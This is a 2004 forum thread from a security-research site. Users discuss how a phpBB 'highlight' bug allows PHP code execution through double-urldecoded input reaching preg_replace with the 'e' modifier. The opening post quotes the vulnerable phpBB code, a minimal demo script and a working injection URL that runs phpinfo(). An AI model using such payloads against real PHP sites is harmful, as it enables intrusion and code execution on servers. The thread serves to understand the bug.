I'm sure you've seen Howdark.com's latest hack, wich executes PHP just by altering a string, like it was a XSS hack. I have figured out that this occurs when a double urldecoded() string passes a nested preg_quote() function, wich uses the "e" evaluate modifyer. Code in phpBB: Code: $highlight_match = $highlight = ''; if (isset($HTTP_GET_VARS['highlight'])) { // Split words and phrases $words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight'])))); for($i = 0; $i < sizeof($words); $i++) { if (trim($words[$i]) != '') { $highlight_match .= (($highlight_match != '') ? '|' : '') . str_replace('*', '\w*', phpbb_preg_quote($words[$i], '#')); } } Code: $message = str_replace('\"', '"', substr(preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se', "preg_replace('#\b(" . $highlight_match . ")\b#i', '<span style=\"color:#" . $theme['fontcolor3'] . "\"><b>\\\\1</b></span>', '\\0')", '>' . $message . '<'), 1, -1)); Demo: Code: <? echo preg_replace('##se', "preg_replace('#" . urldecode($_GET['var']) . "#', '', '')", 'foo'); ?> call script.php?var=%2527%252ephpinfo()%252e%2527 (decoded: '.phpinfo().') I have two questions about this. First, are there more possibilities in PHP to accomplish this? Must this be done with two preg_replace functions, or does this technique work in other situations too? Or is this a unique example? Second, how did Howdark figure this out?? The change of finding this type of hack in a open source system like phpBB must be minimal. How did he know this was even possible, and how did he find this? Do you have any ideas? I can't ask him myself, because he quit the whole hacking scene and shut down his website. _________________ [b]Screw social life, be a spammer![/b] >> [b]www.spammersheaven.nl[/b] Posted: Sun Dec 05, 2004 12:16 am Leps Beginner Joined: Dec 03, 2004 Posts: 3 Jessica found this by looking at the way urldecode() worked in phpBB's code, and how magic_quotes affected it. This is probabbly not the only situation this works in, as I doubt phpBB is the only software to ever process variables like this. It's weird, because I had seen waraxe use the %2527 thing, but I don't know if it was before, or after she had used it with phpBB.

Ofcourse urldecode() is necessary to make it work, but I couldn't find a way to make this work without the nested preg_replace functions, with the e modifyer. Thefore I think this is the only way? Leps wrote: It's weird, because I had seen waraxe use the %2527 thing, but I don't know if it was before, or after she had used it with phpBB. %2527 is just a double HEX'ed single quote. What do you mean with this? _________________ [b]Screw social life, be a spammer![/b] >> [b]www.spammersheaven.nl[/b] Posted: Sun Dec 05, 2004 3:14 pm Leps Beginner Joined: Dec 03, 2004 Posts: 3 she = jessica = howdark.com ^^;; Posted: Sun Dec 05, 2004 3:25 pm mosymuis Beginner Joined: Nov 18, 2004 Posts: 3 Location: Netherlands Leps wrote: she = jessica = howdark.com ^^;; I thought you ment Waraxe because of this: Quote: It's weird, because I had seen waraxe use the %2527 thing, but I don't know if it was before, or after she had used it with phpBB. _________________ [b]Screw social life, be a spammer![/b] >> [b]www.spammersheaven.nl[/b] String PHP execution www.waraxe.us Forum Index -> Remote file inclusion You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 1 of 1 All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group
